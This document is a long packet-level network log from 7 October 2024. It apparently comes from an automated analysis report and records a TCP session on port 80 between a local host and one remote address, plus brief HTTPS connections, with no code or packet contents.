Oct 7, 2024 18:00:51.306272984 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.306289911 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.306305885 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.306322098 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.306324005 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.306337118 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.306364059 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.306610107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.306626081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.306641102 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.306649923 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.306680918 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.309484959 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.309503078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.309550047 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.309566021 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.311201096 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.311218023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.311232090 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.311259031 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.311285973 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.313406944 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.313424110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.313452005 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.313468933 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.315577030 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.315593004 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.315607071 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.315624952 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.315644026 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.315656900 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.317878008 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.317894936 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.317936897 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.317954063 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.319715977 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.319731951 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.319777966 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.319792986 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.322062016 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.322078943 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.322128057 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.322144032 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.324103117 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.324120998 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.324162006 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.324179888 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.326328993 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.326345921 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.326359987 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.326392889 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.326433897 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.328471899 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.328489065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.328516960 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.328531981 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.330658913 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.330676079 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.330707073 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.330722094 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.336687088 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.336713076 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.336744070 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.336761951 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.337445021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.337462902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.337477922 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.337507010 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.337507010 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.337522030 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.340451002 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.340467930 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.340485096 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.340519905 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.340533018 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.341090918 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.341109037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.341134071 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.341164112 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.342833042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.342849970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.342878103 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.342896938 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.345006943 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.345025063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.345041037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.345065117 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.345084906 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.347136021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.347152948 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.347193003 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.347213030 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.349320889 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.349337101 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.349371910 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.349391937 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.352067947 CEST	443	49894	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.354779005 CEST	49894	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.354846001 CEST	443	49894	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.355190992 CEST	49894	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.355206966 CEST	443	49894	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.359220982 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.359237909 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.359291077 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.359307051 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.360927105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.360944986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.360982895 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.360999107 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.362709045 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.362726927 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.362744093 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.362756014 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.362771034 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.362788916 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.364456892 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.364474058 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.364520073 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.364536047 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.366137028 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.366153955 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.366180897 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.366195917 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.373733997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.373759985 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.373775959 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.373790979 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.373806000 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.373807907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.373843908 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.373852968 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.373861074 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.373872042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.373893976 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.373919010 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.374646902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.374665022 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.374700069 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.374716043 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.376722097 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.376739025 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.376775026 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.376787901 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.378197908 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.378216028 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.378246069 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.378257990 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.379482031 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.379507065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.379523039 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.379529953 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.379548073 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.379566908 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.380806923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.380824089 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.380853891 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.380866051 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.382359982 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.382376909 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.382420063 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.382433891 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.383985996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.384002924 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.384046078 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.384059906 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.385435104 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.385453939 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.385468960 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.385483027 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.385495901 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.385513067 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.387043953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.387062073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.387092113 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.387120962 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.388524055 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.388540983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.388576984 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.388593912 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.390134096 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.390151024 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.390187025 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.390199900 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.391499043 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.391551018 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.392147064 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.392163992 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.392184019 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.392193079 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.392201900 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.392225981 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.393233061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.393251896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.393280983 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.393294096 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.394439936 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.394457102 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.394485950 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.394500017 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.395674944 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.395692110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.395721912 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.395735979 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.396780968 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.396796942 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.396811008 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.396828890 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.396842003 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.397793055 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.397833109 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.397852898 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.397876024 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.397903919 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.398961067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.398977041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.399014950 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.399034977 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.400073051 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.400089979 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.400136948 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.401314974 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.401333094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.401385069 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.401406050 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.402515888 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.402533054 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.402570009 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.402585030 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.403913975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.403930902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.403945923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.403978109 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.403991938 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.404519081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.404536009 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.404565096 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.404587030 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.411910057 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.411930084 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.411998034 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.412029982 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.412044048 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.412064075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.412086010 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.412106991 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.413043976 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.413062096 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.413078070 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.413095951 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.413113117 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.414354086 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.414370060 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.414405107 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.414424896 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.415045023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.415061951 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.415093899 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.415106058 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.416075945 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.416094065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.416126966 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.416140079 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.416738033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.416754961 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.416789055 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.416800976 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.417746067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.417763948 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.417779922 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.417794943 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.417808056 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.417826891 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.418608904 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.418627024 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.418658972 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.418672085 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.419537067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.419553041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.419605017 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.421677113 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.421734095 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.421977997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.421994925 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.422029018 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.422041893 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.423027039 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.423044920 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.423058987 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.423075914 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.423089027 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.423106909 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.423813105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.423829079 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.423862934 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.423876047 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.424741983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.424758911 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.424773932 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.424803972 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.424815893 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.439532995 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.604329109 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.604444027 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.605972052 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.729237080 CEST	443	49894	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.729260921 CEST	443	49894	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.729319096 CEST	443	49894	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.729373932 CEST	49894	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.729420900 CEST	49894	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.729676962 CEST	49894	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.729686975 CEST	443	49894	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.729697943 CEST	49894	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.729703903 CEST	443	49894	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.732748985 CEST	49911	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.732778072 CEST	443	49911	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.732861042 CEST	49911	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.732995987 CEST	49911	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:51.733009100 CEST	443	49911	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:51.799915075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.799990892 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.800043106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.800086975 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.800097942 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.800132990 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.800142050 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.800174952 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.801820040 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.801853895 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.801877022 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.801888943 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:51.801896095 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.801928997 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:51.802622080 CEST	80	49831	95.164.90.97	192.168.2.5
